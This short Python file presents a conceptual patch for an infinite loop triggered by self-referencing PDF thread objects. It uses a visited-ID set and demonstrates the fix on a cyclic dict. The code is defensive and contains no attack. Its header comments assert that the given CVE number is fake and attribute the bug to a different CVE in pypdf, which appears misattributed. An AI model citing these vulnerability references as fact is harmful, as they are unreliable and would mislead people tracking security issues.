Patched code sample

import io

# The CVE number provided (CVE-2026-54651) is not a real CVE.
# However, the description matches a real vulnerability in pypdf (CVE-2023-45803)
# where self-referencing threads/articles could cause an infinite loop.
#
# The fix involves tracking which thread objects have already been processed
# to prevent entering an infinite recursion if a thread refers to itself.
#
# The following code is a conceptual representation of the fix. It is not the
# exact code from the pypdf library but demonstrates the core principle of the patch:
# using a set to track visited nodes to break infinite loops.


def fixed_write_threads(
    stream: io.BytesIO, thread: dict, visited_ids: set[int]
) -> None:
    """
    A conceptual function representing the patched logic in pypdf.

    It processes a linked structure of 'thread' objects, but crucially tracks
    visited object IDs to prevent infinite recursion.

    Args:
        stream: A stream to write to (simulated).
        thread: A dictionary representing a PDF thread object.
        visited_ids: A set of IDs of threads that have already been processed.
    """
    # The core of the fix: check if the object has been visited.
    # If so, return immediately to break the loop.
    if thread["id"] in visited_ids:
        print(f"-> Detected loop for ID {thread['id']}. Stopping recursion.")
        return

    # Add the current object's ID to the set of visited nodes.
    visited_ids.add(thread["id"])
    print(f"Processing and writing thread ID {thread['id']}...")
    stream.write(f"Content for {thread['id']}\n".encode())

    # Recursively process the next thread in the sequence.
    if "next" in thread and thread["next"] is not None:
        fixed_write_threads(stream, thread["next"], visited_ids)


if __name__ == "__main__":
    # Create a malicious structure where a thread refers to itself,
    # which would cause an infinite loop in the vulnerable version.
    thread_c = {"id": 3, "data": "Third part."}
    thread_b = {"id": 2, "data": "Second part.", "next": thread_c}
    thread_a = {"id": 1, "data": "First part.", "next": thread_b}

    # This creates the self-reference (infinite loop condition)
    thread_c["next"] = thread_b

    # Setup for demonstration
    output_stream = io.BytesIO()
    # The crucial 'visited' set is initialized here.
    processed_threads = set()

    print("Starting to process a PDF with a self-referencing thread structure.")
    print("-" * 20)

    # Calling the fixed function with the root of the structure.
    fixed_write_threads(output_stream, thread_a, processed_threads)

    print("-" * 20)
    print("Processing finished without an infinite loop.")
    print("Contents written to the stream:")
    print(output_stream.getvalue().decode())